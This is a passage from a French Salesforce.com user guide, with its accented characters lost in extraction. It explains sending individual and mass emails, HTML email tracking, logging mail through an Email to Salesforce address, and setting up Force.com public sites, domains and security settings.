associs E-mail vers requte ou E-mail vers requte la demande, ou si le nom de l'e-mail ou l'adresse e-mail dans vos
paramtres de message diffre du nom de l'e-mail ou de l'adresse e-mail dans votre enregistrement utilisateur.
Lorsque vous crez un message E-mail vers requte ou E-mail vers requte la demande sortant, l'adresse de l'expditeur
contient automatiquement votre nom. Lorsque vous rpondez un message entrant, le champ de l'adresse de l'expditeur
affiche automatiquement l'adresse d'acheminement laquelle l'e-mail a t envoy.
Si vous avez prcdemment dfini des adresses l'chelle de l'organisation, les adresses e-mail associes votre profil
d'utilisateur s'affichent galement dans cette liste droulante. Les adresses l'chelle de l'organisation ne sont pas disponibles
pour l'envoi d'e-mails en masse ou les requtes Rester en contact.
3. Cliquez sur Passer en texte seul pour supprimer tout formatage HTML et envoyer un e-mail en texte. Cliquez sur Passer
en HTML pour utiliser le format HTML.
Remarque: Utilisez le formatage HTML si vous souhaitez suivre l'e-mail. Pour plus d'informations, reportez-vous
Suivi des e-mails HTML la page 1391.
4. Choisissez le destinataire en saisissant un contact, une piste ou un compte personnel dans le champ . Un seul nom peut
tre saisi dans le champ .
5. Vous pouvez ventuellement choisir un autre enregistrement, comme un compte, une requte ou un objet personnalis,
associer l'e-mail.
6. Le cas chant, si vous souhaitez que d'autres personnes reoivent l'e-mail en tant que destinataires principaux, saisissez
leur adresse e-mail dans le champ Autres destinataires ou cliquez sur le lien Autres destinataires pour les
slectionner dans une liste. Ces personnes ne sont pas ncessairement des enregistrements Salesforce.com. Les adresses
e-mail peuvent tre spares par des points-virgules, des virgules, des espaces ou des lignes.
7. Dans les champs CC : et CCI : saisissez les autres adresses e-mail ventuelles, ou cliquez sur le lien CC ou CCI pour
slectionner des individus dans une liste. Les adresses e-mail peuvent tre spares par des points-virgules, des virgules,
des espaces ou des lignes.

E-mail

Guide de l'utilisateur | Envoi d'e-mails | 1387

Si l'organisation a activ les messages Cci de conformit, le champ Cci n'est pas disponible et le paramtre Cci
automatique de la zone Paramtres de mon message est dsactiv.
8. Saisissez l'objet et le corps du message ou cliquez sur Slectionner un modle pour choisir un modle d'e-mail prdfini.
Choisissez un dossier et slectionnez un modle dans ce dossier. Si ncessaire, vous pouvez modifier le contenu du modle
dans votre e-mail. Par contre, vous ne pouvez pas modifier les modles personnaliss.
Lorsque vous rpondez un message E-mail vers requte ou E-mail vers requte la demande, l'e-mail d'origine s'affiche
dans le corps du message. Le contenu de cet e-mail peut tre totalement ou partiellement supprim.
9. Si vous avez choisi un modle de message HTML, utilisez la barre d'outils de formatage pour formater votre texte. Disponible
pour Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition seulement.
10. Vous avez galement la possibilit de slectionner Joindre le fichier pour joindre un fichier au message. Vous pouvez
joindre autant de fichiers que vous le souhaitez, condition que leur taille totale n'excde pas 10 Mo.
11. Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour contrler le corps
du message. Le correcteur orthographique ne prend pas en charge toutes les langues prises en charge par Salesforce.com.
Par exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le Coren ou le Chinois, ne sont
pas prises en charge.
Si vous utilisez un modle d'e-mail, le bouton Vrifier l'orthographe est disponible pour les modles de texte et les modles
Visualforce sans balises HTML.
12. Cliquez sur Envoyer.
Si le destinataire ne possde pas d'adresse e-mail, cliquez sur le lien pour modifier son adresse. Une fois l'adresse e-mail
saisie, cliquez sur :

Enregistrer et envoyer pour mettre jour l'enregistrement et envoyer l'e-mail.

Enregistrer et fermer pour mettre jour l'enregistrement sans envoyer l'e-mail.
Annuler pour fermer la fentre.

Si la gestion des renvois est active et que le message est renvoy, Salesforce.com affiche un message d'erreur. Cliquez sur le
lien dans le message d'erreur pour mettre jour l'adresse e-mail et ventuellement, envoyer l'e-mail l'adresse mise jour.
Les e-mails envoys via le bouton Envoyer un e-mail sont rpertoris dans la liste de l'historique des activits des enregistrements
associs. L'lment de l'historique des activits est prsent sous la forme E-mail : <Objet> . Vous pouvez cliquer sur l'objet
du message pour afficher son corps. Les pices jointes ne sont pas stockes avec l'e-mail, sauf si elles sont associes un message
E-mail vers requte ou E-mail vers requte la demande.
Les e-mails envoys partir de la liste E-mail associe une requte sont enregistrs dans cette liste. Cette fonctionnalit est
disponible uniquement pour les organisations dans lequelles la fonction E-mail vers requte ou E-mail vers requte la demande
est active.

E-mail

Guide de l'utilisateur | Envoi en masse d'e-mails | 1388

Remarque: Vous pouvez envoyer des e-mails en relation avec n'importe quel enregistrement condition de pouvoir
le consulter ou le modifier.
Les modles de message ne permettent d'accder qu'aux champs qui vous sont autoriss via votre prsentation de page
et les paramtres de scurit au niveau du champ. (La scurit au niveau du champ est disponible dans Enterprise
Edition, Unlimited Edition et Developer Edition uniquement).

Voir aussi :
Modification des paramtres de message
Envoi en masse d'e-mails
Suivi des e-mails HTML
Utilisation des e-mails de requte
Qu'est-ce qu'un compte personnel ?
Test de la livraison

Envoi en masse d'e-mails

Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour envoyer des e-mails en masse des contacts, des
comptes personnels ou des pistes :

Envoi en masse d'e-mails

Pour envoyer des e-mails en masse aux utilisateurs :

Envoi en masse d'e-mails

AND
Grer les utilisateurs

Pour envoyer des e-mails en masse et les consigner dans la

liste associe Historique des activits :

Envoi en masse d'e-mails

ET
Modifier les tches

Vous pouvez envoyer des e-mails en masse une liste de destinataires constitue de contacts, de pistes, de comptes personnels
ou d'utilisateurs que vous pouvez afficher dans Salesforce.com.
1. Choisissez le type des destinataires de votre e-mail en masse :

Pour envoyer des messages en masse aux contacts ou aux comptes personnels, cliquez sur Envoyer des messages en
masse dans la section Outils en bas de l'onglet Contacts ou Requtes. Si votre entreprise utilise les comptes personnels,
le lien se trouve galement dans la section Outils en bas de l'onglet Compte.
Pour envoyer en masse des e-mails aux pistes, cliquez sur Envoyer des e-mails en masse aux pistes dans la section
Outils en bas de l'onglet Pistes.

E-mail

Guide de l'utilisateur | Envoi en masse d'e-mails | 1389

Pour envoyer en masse des messages aux utilisateurs, cliquez sur Configuration Gestion des utilisateurs Envoyer
des messages en masse aux utilisateurs. Ce lien est accessible aux administrateurs et aux utilisateurs dots de l'autorisation
Gestion des utilisateurs.

2. Slectionnez une vue de liste de destinataires et cliquez sur OK. Par dfaut, les vues Mes contacts, Mes pistes, Utilisateurs
actifs ou Mes requtes incluent tous les enregistrements de ce type qui contiennent une adresse e-mail. Pour modifier la
liste des destinataires, crez une nouvelle vue personnalise. Reportez-vous Cration de vues Listes personnalises la
page 1538.
Les contacts, les pistes ou les comptes personnels dont le champ Dsinscription d'adresse e-mail est slectionn
ou qui ne possdent pas d'adresse e-mail ne sont pas inclus dans les vues de listes d'e-mails.
Remarque: Les comptes personnels sont inclus dans les vues de liste de contacts.

3. Tous les destinataires de la vue de liste sont slectionns par dfaut. Si des destinataires ne doivent pas recevoir les e-mails
en masse, dslectionnez-les. Vous pouvez utiliser la case cocher du haut de la vue liste pour slectionner ou dslectionner
tous les destinataires figurant dans la page.
4. Cliquez sur Suivant.
5. Slectionnez un modle de message.
Remarque: Vous pouvez envoyer des e-mail en masse en utilisant un modle d'e-mail Visualforce.

6. Si vous le souhaitez, cliquez sur le lien Aperu pour afficher les modles. Dans la fentre d'aperu des modles d'e-mail,
le modle apparat avec des champs de fusion, tels que {!Account.AccountNumber}. Lorsque vous envoyez votre
e-mail, les donnes provenant des enregistrements des destinataires ou tout texte de substitution correspondant sont insrs
dans l'e-mail la place de ces champs de fusion.
7. Cliquez sur Suivant.
8. Sur la page de confirmation, faites votre choix parmi les options de traitement disponibles :

Je veux recevoir ce message en Cci

Stocker une activit pour chaque message

L'lment Historique des activits est associ au contact, la piste ou au compte personnel et s'affiche sous la forme
Envoi en masse de messages : <Description du modle>. Le sujet du message, son corps et ses pices jointes ne sont
pas stocks dans l'lment d'historique des activits. Pour consigner des lments dans l'historique des activits, vous
devez tre autoris afficher ou modifier les enregistrements de la liste des destinataires, et modifier les tches.

Utiliser ma signature

Si vous le souhaitez, incluez votre signature lectronique dans cet e-mail en masse. Cette option ne s'applique qu'aux
e-mails de texte. Reportez-vous Modification des paramtres d'e-mail la page 34 pour plus d'informations sur la
cration d'une signature d'e-mail.

Nom de l'envoi d'e-mails en masse

Entrez un nom vous permettant d'identifier cet e-mail en masse dans la file d'attente d'e-mails en masse. Pour plus
d'informations, reportez-vous Surveillance de la file d'attente d'envoi d'e-mails en masse la page 327.
Remarque: Le nom des e-mails en masse ne s'affichent que dans la file d'attente prvue cet effet et dans les
messages d'tat que vous recevez de Salesforce.com. Salesforce.com n'ajoute pas le nom aux e-mails en masse
que vous envoyez.

E-mail

Guide de l'utilisateur | Envoi en masse d'e-mails | 1390

9. Dans la section Options de livraison, effectuez l'une des oprations suivantes :

Slectionnez Envoyer maintenant.

Slectionnez Planifier la livraison le, puis cliquez sur le lien de date/heure pour indiquer le moment o Salesforce.com
doit envoyer les e-mails en masse. Utilisez le menu droulant adjacent pour spcifier le fuseau horaire.
Remarque: Les utilisateurs peuvent cliquer sur Configuration Adresse e-mail Mes envois d'e-mails en
masse pour afficher et annuler les envois d'e-mails en masse planifis. Les administrateurs peuvent cliquer sur
Configuration Surveillance Envoi d'e-mails en masse pour afficher et annuler les envois d'e-mails en
masse planifis par tous les utilisateurs au sein de leur entreprise. Pour plus d'informations, reportez-vous
Surveillance de la file d'attente d'envoi d'e-mails en masse la page 327.

10. Cliquez sur Envoyer pour envoyer l'e-mail en masse.

11. Cliquez sur Termin pour fermer la session de l'assistant d'envoi d'e-mails en masse.
Remarques concernant l'envoi d'e-mails en masse

Les e-mails en masse peuvent tre envoys uniquement vers une adresse de champ d'e-mail standard. Les e-mails en masse
qui utilisent un champ d'e-mail personnalis ne sont pas pris en charge.
Si un champ d'e-mail en masse est masqu par la scurit au niveau du champ, les liens E-mail en masse des Contacts et
des Pistes ne s'affichent pas.
Avant d'envoyer un message en masse, crez une vue personnalise des contacts, des pistes, des comptes personnels ou des
requtes sans adresse e-mail. Dans les critres de recherche, slectionnez E-mail gal , puis laissez le troisime champ
vide. Avant d'envoyer des messages, vous pouvez mettre jour ces enregistrements. Malheureusement, il n'est pas possible
de valider une adresse e-mail sans envoyer de message.
Si le modle contient un champ de fusion ne possdant pas de donnes dans un enregistrement particulier, ce champ
n'apparat pas dans le message envoy. Pour rechercher les champs vides, modifiez la vue de liste des destinataires pour
rechercher les champs de fusion que vous utilisez dans votre modle, puis entrez le critre <champ> gal en laissant le
troisime champ vide. Modifiez les enregistrements dont certains champs sont vides avant d'envoyer vos messages.
Si l'option de livraison d'e-mail Notifier l'expditeur une fois l'envoi d'e-mails en masse termin
est activ, vous recevez de Salesforce.com un e-mail de statut auto-gnr pour chaque e-mail en masse envoy. La ligne
d'objet de l'e-mail d'tat contient la valeur que vous avez saisie dans le champ Nom de l'envoi d'e-mails en masse
lors de l'envoi des e-mails en masse.
La file d'attente d'e-mails en masse et l'e-mail d'tat contiennent les informations suivantes :
Adress
Nombre de destinataires slectionn pendant la cration de l'e-mail en masse.
Envoy
Nombre de destinataires auxquels Salesforce.com a envoy le message. Ce nombre peut tre diffrent de celui indiqu
dans le champ Adress pour les raisons suivantes :
-

L'envoi d'e-mails en masse entranerait le dpassement de la limite du nombre d'e-mails que votre entreprise peut
envoyer en masse par jour. Dans ce cas, Salesforce.com n'envoie pas le message aux destinataires concerns.
Un ou plusieurs destinataires slectionns ont choisi de ne pas recevoir les e-mails en masse une fois qu'ils sont
planifis mais avant qu'ils soient traits.
L'adresse e-mail d'un ou de plusieurs destinataires slectionns a t supprime du contact ou de la piste une fois
les e-mails en masse planifis, mais avant leur traitement.
L'utilisateur qui a envoy les e-mails en masse a t dsactiv une fois les e-mails planifis, mais avant leur
traitement. Salesforce.com n'envoie pas d'e-mails en masse planifis par un utilisateur qui est dsactiv.

E-mail

Guide de l'utilisateur | Suivi des e-mails HTML | 1391

Les pices jointes des messages en masse sont envoyes sous forme de liens au lieu de fichiers physiques. Lorsque les
destinataires cliquent sur le lien de la pice jointe dans l'e-mail, celle-ci s'ouvre dans un navigateur Web spar. Les
destinataires peuvent alors tlcharger le fichier. Les pices jointes aux e-mails en masse affichent le nom et l'extension du
fichier. Elles sont stockes pendant 30 jours.
Les modles de message ne permettent d'accder qu'aux champs qui vous sont autoriss via votre prsentation de page et
les paramtres de scurit au niveau du champ. (La scurit au niveau du champ est disponible dans Enterprise Edition,
Unlimited Edition et Developer Edition uniquement).
Vous ne pouvez pas utiliser une adresse l'chelle de l'organisation pour envoyer des messages en masse ou une requte
Rester en contact.

Voir aussi :
Modification des paramtres de message
Configuration de la scurit au niveau du champ
Qu'est-ce qu'un compte personnel ?

Suivi des e-mails HTML

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Aprs avoir envoy un message HTML, vous pouvez suivre sa date de premire ouverture, le nombre de fois qu'il a t ouvert
et sa date d'ouverture la plus rcente.
Les pages de dtails des contacts, pistes et comptes personnels comprennent la liste associe Statut des messages HTML.
Chaque e-mail que vous envoyez une personne ou une liste de distribution en masse rpertorie sa date d'envoi, sa date de
premire ouverture, sa date de dernire ouverture et le nombre total de fois o il a t ouvert par tous les utilisateurs (les
ouvertures multiples par le mme utilisateur sont comptabilises). Cette liste inclut galement les messages automatiques
comme ceux qui sont envoys par les rgles de rponse Web vers piste et Web vers requte.

Cliquez sur Envoyer un e-mail pour crer un nouveau message. Reportez-vous Envoi de messages e-mail la page 1386
pour plus d'informations sur l'envoi d'un e-mail.
Cliquez sur Afficher tout pour voir plus de dtails sur tous les lments de la liste associe du statut des messages HTML.
Cliquez sur Modifier en regard d'un e-mail pour y ajouter des notes.
Cliquez sur Suppr pour supprimer un e-mail de la liste associe du statut des messages HTML.
Cliquez sur l'objet d'un message pour l'afficher compltement. Si l'objet dpasse 100 caractres, il est tronqu avec des
ellipses (...).

Pour gnrer le rapport statistique des messages HTML qui se trouve dans la liste associe du statut des messages HTML,
utilisez le rapport du statut des messages HTML qui se trouve dans l'onglet Rapports.

E-mail

Guide de l'utilisateur | Utilisation de mon e-mail l'adresse Salesforce | 1392

Remarque: Ajoutez la liste associe du statut des messages HTML vos prsentations de page de piste, de contact
et de compte personnel avant que les utilisateurs envoient des messages HTML qu'ils souhaitent suivre.

Voir aussi :
Personnalisation des paramtres d'activit
Qu'est-ce qu'un compte personnel ?

Utilisation de mon e-mail l'adresse Salesforce

Disponible avec : Toutes les ditions

Si vous utilisez un compte de messagerie fourni par l'entreprise ou un tiers, vous pouvez utiliser l'option Envoyer un E-mail
Salesforce pour attribuer des e-mails la liste associe Historique de l'activit des pistes, des contacts, des opportunits et
des autres enregistrements dans Salesforce.com. Lors de la composition, du transfert ou de la rponse un e-mail, entrez
simplement votre adresse e-mail Salesforce dans le champ Cci. Salesforce.com reoit une copie de l'e-mail et, en fonction
de votre configuration, l'ajoute la liste associe Historique des activits des enregistrements correspondants.
Si vous configurez Envoyer un e-mail Salesforce pour associer des e-mails des pistes ou des contacts correspondants,
Salesforce.com recherche dans les champs et CC l'adresse e-mail des vos pistes ou de vos contacts. Si des pistes ou des
contacts sont trouvs, Salesforce.com enregistre l'e-mail dans la liste associe Historique d'activit dans l'enregistrement
appropri.
Si vous configurez Envoyer un e-mail Salesforce pour associer des e-mails des opportunits correspondantes, Salesforce.com
recherche dans les champs et CC l'adresse e-mail des vos contacts. Si des contacts sont trouvs, Salesforce.com enregistre
l'e-mail dans la liste associe Historique d'activit pour toutes les opportunits ouvertes pour lesquelles un rle de contact est
attribu au contact.
Vous n'avez pas besoin de configurer E-mail Salesforce pour associer des e-mails des enregistrements correspondants.
Salesforce.com recherche l'ID d'enregistrement dans les e-mails que vous avez envoys l'adresse de Envoyer un e-mail
Salesforce, puis il recherche l'enregistrement. Si l'enregistrement est trouv, Salesforce.com ajoute l'e-mail la liste associe
Historique de l'activit de cet enregistrement.
Vous pouvez aussi enregistrer un message en tant qu'activit e-mail sans l'envoyer ou le renvoyer une autre personne. Il suffit
de transfrer l'e-mail avec votre adresse E-mail Salesforce dans le champ A. Assurez-vous qu'aucune autre adresse e-mail ne
figure dans les champs A, CC et BCC. Salesforce.com reoit une copie de l'e-mail et recherche les adresses e-mail de vos
pistes et contacts dans les champs De, et CC de l'e-mail transmis. Si des pistes ou des contacts sont trouvs, Salesforce.com
enregistre l'e-mail dans la liste associe Historique d'activit dans l'enregistrement appropri.
Lors de l'utilisation de la fonction Envoyer un e-mail Salesforce, notez les points suivants :

Vous pouvez utiliser l'e-mail Salesforce avec les applications e-mail clientes telles que IBM Lotus Notes et Microsoft
Outlook, ainsi qu'avec les programmes de messagerie Web tels que Gmail et Yahoo! Mail.
E-mail Salesforce ignore les pices jointes.
Les adresses e-mail que vous utilisez pour envoyer des e-mails Salesforce doivent tre configures dans le champ Mes
adresses E-mail acceptables de la page de configuration Mon e-mail Salesforce.

E-mail

Guide de l'utilisateur | Utilisation de mon e-mail l'adresse Salesforce | 1393

Si Envoyer un e-mail Salesforce correspond une adresse e-mail plusieurs enregistrements de piste ou de contact dans
Salesforce.com, vous pouvez choisir d'associer l'e-mail tous les enregistrements correspondants, l'enregistrement le plus
ancien ou l'enregistrement ayant le plus d'activit.
Si Envoyer un e-mail Salesforce correspond un e-mail plusieurs enregistrements d'opportunits dans Salesforce.com,
l'e-mail est inclus dans l'historique d'activit de tous les enregistrements ouverts correspondants.
Si vous utilisez Gmail, reportez-vous la rubrique Utilisation de Gmail dans Salesforce.com la page 1852 pour en savoir
plus sur les fonctionnalits Gmail supplmentaires offertes par Salesforce.com.
La fonction Envoyer un e-mail Salesforce peut crer un maximum de 50 activits d'e-mail pour chaque e-mail qu'il reoit.
Les e-mails en texte brut ou HTML sont automatiquement tronqus 32 Ko.

Un administrateur doit activer Envoyer un e-mail Salesforce pour votre entreprise. Pour plus d'informations, reportez-vous
Activation des e-mails Salesforce.com la page 352. Une fois l'activation termine, Salesforce.com gnre une adresse
E-mail Salesforce unique pour chaque utilisateur. Les utilisateurs reoivent automatiquement un e-mail de Salesforce.com
qui contient leur adresse E-mail Salesforce. L'adresse E-mail Salesforce est galement visible en cliquant sur Configuration
E-mail Mon e-mail Salesforce. L'adresse Envoyer un e-mail Salesforce est gnre automatiquement et ne peut pas
tre modifie.
Configuration de Mon e-mail Salesforce
Avant de pouvoir utiliser votre adresse e-mail Salesforce, vous devez la configurer comme suit :
1. Cliquez sur Configuration E-mail Mon e-mail Salesforce.
Conseil: Il est recommand d'ajouter votre adresse e-mail Salesforce dans le carnet d'adresses de votre client
e-mail pour la rcuprer facilement.
2. Dans Mes adresses E-mail acceptables, entrez toutes les adresses e-mail que vous utiliserez pour envoyer des
e-mails. Sparez les adresses e-mail multiples par des virgules.
Important: Votre adresse e-mail Salesforce n'accepte que les e-mails provenant d'adresses que vous rpertoriez.
Si vous ne rpertoriez aucune adresse e-mail, l'e-mail que vous envoyez l'adresse e-mail Salesforce n'est associ
aucun enregistrement.
3. Configurez E-mail Salesforce pour ajouter des e-mails sous forme d'activit des opportunits, des pistes, des contacts
correspondants, ou les trois.
4. Si vous avez slectionn des pistes ou des contacts, slectionnez la faon dont E-mail Salesforce doit traiter les e-mails
contenant des informations de piste ou de contact correspondant des enregistrements en double. E-mail Salesforce peut
ajouter l'activit des e-mails tous les enregistrements correspondants, l'enregistrement en double le plus ancien ou
l'enregistrement ayant le plus grand nombre d'activits.
5. Si vous avez slectionn des pistes ou des contacts, vous pouvez aussi configurer E-mail Salesforce pour crer une tche
vous permettant de choisir l'enregistrement auquel associer l'e-mail si aucun enregistrement n'est trouv. Si cette option
n'est pas slectionne, E-mail Salesforce ignore les e-mails qui n'ont pas d'enregistrement correspondant.
6. Vous pouvez aussi configurer E-mail Salesforce pour qu'il vous envoie un e-mail de confirmation lorsque des e-mails
sont associs avec succs.
7. Cliquez sur Enregistrer.
Utilisation de Mon e-mail Salesforce
Pour associer un e-mail une piste, un contact ou une opportunit correspondant :
1. Composez un e-mail partir d'un compte de messagerie lectronique tiers que vous avez dsigne dans le champ Mes
adresses E-mail acceptables sur la page de configuration Mon e-mail Salesforce.

E-mail

Guide de l'utilisateur | Utilisation de mon e-mail l'adresse Salesforce | 1394

2. Saisissez l'adresse E-mail Salesforce dans le champ Cci de votre e-mail.

3. Entrez les destinataires dans les champs , CC et Cci.
4. Envoyez l'e-mail.
Salesforce.com reoit l'e-mail et, en fonction de vos paramtres Mon e-mail Salesforce, l'ajoute la liste associe Historique
des activits des enregistrements correspondants.
Pour associer un e-mail un enregistrement individuel :
1. Composez un e-mail partir d'un compte de messagerie lectronique tiers que vous avez dsigne dans le champ Mes
adresses E-mail acceptables sur la page de configuration Mon e-mail Salesforce.
2. Dans Salesforce.com, localisez l'ID de l'enregistrement que vous souhaitez associer l'e-mail. L'ID d'enregistrement est
le code alphanumrique 15 chiffres, sensible la casse, qui s'affiche la fin de l'URL pour un enregistrement. Par exemple,
si vous consultez la page de dtails d'un enregistrement de campagne, l'URL ressemble :
https://na1.salesforce.com/701D0000000HQZy ; l'ID d'enregistrement de cet enregistrement est
701D0000000HQZy.
3. Dans la ligne Objet ou dans le corps de l'e-mail, saisissez ref: suivi de l'ID d'enregistrement. Par exemple : ref:
701D0000000HQZy.
Remarque: Les ID d'enregistrement peuvent tre saisis sur une ligne distincte dans le texte du corps de l'e-mail
s'ils sont encadrs par (), [], ou {}. Par exemple : (ref: 701D0000000HQZy). Plusieurs ID d'enregistrement
doivent tre spars par des virgules, tel que : ref: 701D0000000HQZy, 801D0000000IRAz,
901D0000000JSBa.
4. Saisissez l'adresse E-mail Salesforce dans le champ , CC ou Cci de votre e-mail.
5. Vous pouvez aussi entrer des destinataires supplmentaires dans les champs , CC ou Cci.
6. Envoyez l'e-mail.
Salesforce.com reoit l'e-mail et l'ajoute la liste associe Historique de l'activit pour chaque enregistrement correspondant
un ID d'enregistrement dans l'e-mail. Les ID non valides ou les ID d'enregistrement dont vous ne possdez pas les droits
d'accs en lecture sont ignors.
Si E-mail Salesforce est configur pour associer l'e-mail des pistes, des opportunits ou des contacts correspondants, une
tche non rsolue est cre lorsqu'un e-mail est associ une piste, un contact ou une opportunit en utilisant un ID
d'enregistrement seulement et aucune adresse e-mail correspondante. Par exemple, si vous avez configur des e-mails associer
des pistes correspondantes et que vous envoyez un e-mail directement votre adresse E-mail Salesforce avec un ID
d'enregistrement de piste dans le corps ou la ligne d'objet du message, l'e-mail est associ la piste et une tche non rsolue
est cre.

Voir aussi :
Activation de la fonction Envoyer un e-mail Salesforce
Prsentation de Google Apps
Utilisation de Gmail dans Salesforce.com

Sites Force.com
Prsentation des sites Force.com
Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Les organisations Salesforce.com contiennent des informations importantes relatives aux partenaires, solutions, produits,
utilisateurs, ides et autres donnes professionnelles. Certaines de ces informations seraient utiles des personnes hors de votre
organisation, mais seuls les utilisateurs disposant des droits et autorisations d'accs appropris peuvent les visualiser et les
utiliser. Dans le pass, pour mettre ces informations la disposition du public, vous deviez configurer un serveur Web et crer
des pages Web personnalises ( JSP, PHP ou autres), puis excuter une intgration d'API entre votre site et celui de votre
organisation. De plus, pour collecter des informations l'aide d'un formulaire Web, vous deviez programmer vos pages de
sorte qu'elles valident les donnes.
Avec les sites Force.com, ces oprations ne sont plus ncessaires. Les sites Force.com permettent de crer des sites Web publics
et des applications directement intgrs votre organisation Salesforce.com sans que les utilisateurs se connectent avec un nom
d'utilisateur et un mot de passe. Vous pouvez exposer publiquement des informations stockes dans votre organisation via
l'URL de la marque de votre choix. Vous pouvez galement adapter la prsentation des pages du site la marque de votre
organisation. Les sites tant hbergs sur des serveurs Force.com, il n'existe aucun problme d'intgration. tant donn que
les sites sont labors sur des pages Visualforce natives, la validation des donnes des informations collectes est excute
automatiquement. Vous pouvez galement permettre aux utilisateurs de s'inscrire ou de se connecter de faon transparente
un portail associ depuis votre site public.
Les exemples suivants prsentent plusieurs utilisations des sites :

Crer un site d'ides : les sites peuvent hberger un forum communautaire public pour partager et noter des ides sur votre
entreprise, vos services ou vos produits. Les sites Web d'ides peuvent tre accessibles au public.
Publier un FAQ de support : publiez des informations pratiques dans un site public o les clients peuvent rechercher des
solutions leurs problmes.
Crer un outil de localisation de boutiques : ajoutez votre portail un outil public qui aide les clients trouver des magasins
dans leur rgion.
Publiez un rpertoire des employs : ajoutez un rpertoire des employs l'intranet de votre socit en crant un site restreint
par plage IP.
Crer un site Web de recrutement : publiez des offres d'emploi dans un site public et permettez aux utilisateurs de soumettre
leur candidature et leur CV en ligne.
Publier un catalogue de produits : rpertoriez tous les produits de votre socit dans un site public, avec les numros de
modle, les tarifs en vigueur et des images de produits extraits dynamiquement de votre organisation.

Le domaine Force.com
Pour chacun de vos sites, vous dterminez l'URL en tablissant le nom de domaine du site. Vous pouvez slectionner l'une
des options de domaine suivantes :

Utilisez votre nom de domaine Force.com, qui correspond votre prfixe de sous-domaine unique suivi de force.com. Par
exemple, si vous choisissez masociete comme prfixe de sous-domaine, votre nom de domaine est
http:/www.masociete.force.com. Le nom est sensible la casse.

Sites Force.com

Guide de l'utilisateur | Prsentation des sites Force.com | 1396

Remarque: Votre nom de domaine Force.com est utilis pour tous les sites que vous crez. Par exemple, votre
socit peut crer un site public pour les partenaires, un autre pour les dveloppeurs et un troisime pour le support.
Si le domaine de votre socit est http:/www.masociete.force.com, les URL suivantes peuvent tre attribues
aux trois sites :

http://masociete.force.com/partenaires
http://masociete.force.com/developpeurs
http://masociete.force.com/support

Crez des adresses Web adaptes votre marque, telles que http://www.ideesdemasociete.com, en vous inscrivant
via un registre de nom de domaine. Crez des enregistrements CNAME pour rediriger votre domaine de marque et les
sous-domaines vers votre domaine Force.com sans exposer le nom force.com dans l'URL. La disponibilit de votre
domaine Force.com sur Internet peut prendre jusqu' 48 heures. Les adresses Web personnalises ne sont pas prises en
charge pour les organisations de test sandbox ou Developer Edition.
Remarque: L'laboration d'URL scurises pour vos sites Force.com dpend du type d'organisation dont ils dpendent.
Dans les exemples suivants, le prfixe du sous-domaine est masociete , le nom du test sandbox est testsandbox ,
le nom de l'instance est na1 et le nom de l'instance de test sandbox est cs1 :
Type d'organisation

URL scurise

Developer Edition

https://masociete-developer-edition.na1.force.com

Sandbox

https://masociete.testsandbox.cs1.force.com

Production

https://masociete.securisee.force.com

Le prfixe du sous-omaine pour Developer Edition doit tre limit 22 caractres. L'URL scurise est affiche dans
la page des Paramtres de connexion.

Voir aussi :
Observations sur les sites Force.com
Configuration de sites Force.com
Gestion des sites Force.com
Enregistrement d'un domaine Force.com personnalis
Cration et modification de sites Force.com
Configuration des sites Force.com
Limites et facturation des sites Force.com
Gnration de rapports sur les sites Force.com
Suivi de votre site l'aide Google Analytics
propos des fils de syndication
Prsentation des Ides

Sites Force.com

Guide de l'utilisateur | Observations sur les sites Force.com | 1397

Observations sur les sites Force.com

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Avant de crer et d'utiliser des sites Force.com, tenez compte des points suivants :
Enregistrement d'un domaine
Les rgles suivantes s'appliquent l'enregistrement d'un domaine pour les sites :

Si vous crez un domaine de niveau suprieur ou un sous-domaine prsentant une marque commerciale via un registre
de nom de domaine, l'enregistrement CNAME qui vous fournissez ce registre doit correspondre votre nom de
domaine Force.com, pas l'URL du site. Par exemple, si vous saisissez nomsociete en enregistrant le domaine
Force.com, CNAME doit tre nomsociete.force.com, pas la valeur complte de l'URL du site.
Les adresses Web personnalises ne sont pas prises en charge pour les organisations de test sandbox ou Developer
Edition.

Scurit
Les rgles suivantes s'appliquent la scurit des sites :

Si la case Requiert une connexion scurise (HTTPS) est coche dans la page Paramtres de session et
que la case Requiert une connexion non scurise (HTTP) n'est pas coche dans la page Paramtres de
connexion, le domaine secure.force.com s'affiche pour les utilisateurs qui se connectent au portail associ partir
du site. Par exemple, si vous avez inscrit mycompany.force.com comme votre domaine personnalis, l'URL change
en https://mycompany.secure.force.com lors de la connexion. Pou plus d'informations, reportez-vous
Gestion des paramtres de connexion et d'inscription aux sites Force.com.
Les clients qui utilisent la connexion unique pour se connecter des sites peuvent utiliser le paramtre d'URL optionnel
refURL afin de conserver le nom de domaine personnalis aprs la connexion. Ce paramtre n'a aucun effet si
Requiert une connexion non scurise (HTTP) a t dfini pour le site ou si Requiert une connexion
scurise (HTTPS) a t dfini pour l'organisation. Exemple d'URL utilisant refURL :
http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
Pour utiliser les restrictions IP, le protocole HTTPS est requis. Vous devez utiliser l'URL scurise associe votre
domaine Force.com pour accder votre site.
Des messages d'erreur diffrents peuvent s'afficher pour les utilisateurs authentifis et non authentifis dans certaines
conditions, par exemple en prsence d'exceptions Apex.
Seules les organisations de production disposent de certificats SSL secure.force.com valides pour accder aux
sites qui utilisent HTTPS.
ATTENTION:

Salesforce.com recommande de dfinir un partage priv pour les objets sur lesquels vous accordez un accs
Lire dans votre site. Les utilisateurs qui accdent votre site peuvent ainsi afficher et modifier uniquement
les donnes associes votre site.
Salesforce.com recommande galement de scuriser l'affichage de toutes les vues de liste. Dfinissez l'affichage
de vos listes de vue Visible certains groupes d'utilisateurs, puis spcifiez les groupes
partager. Les vues de liste dont l'affichage est dfini Visible tous les utilisateurs sont visibles
aux utilisateurs publics de votre site. Pour partager une vue de liste avec des utilisateurs publics, crez un
nouveau groupe public pour ces utilisateurs et accordez leur une visibilit. Si le partage de l'objet est dfini

Sites Force.com

Guide de l'utilisateur | Limites et facturation des sites Force.com | 1398

priv, les utilisateurs publics ne peuvent pas afficher ces enregistrements, quel que soit le paramtre de visibilit
des vues de liste.
Ides
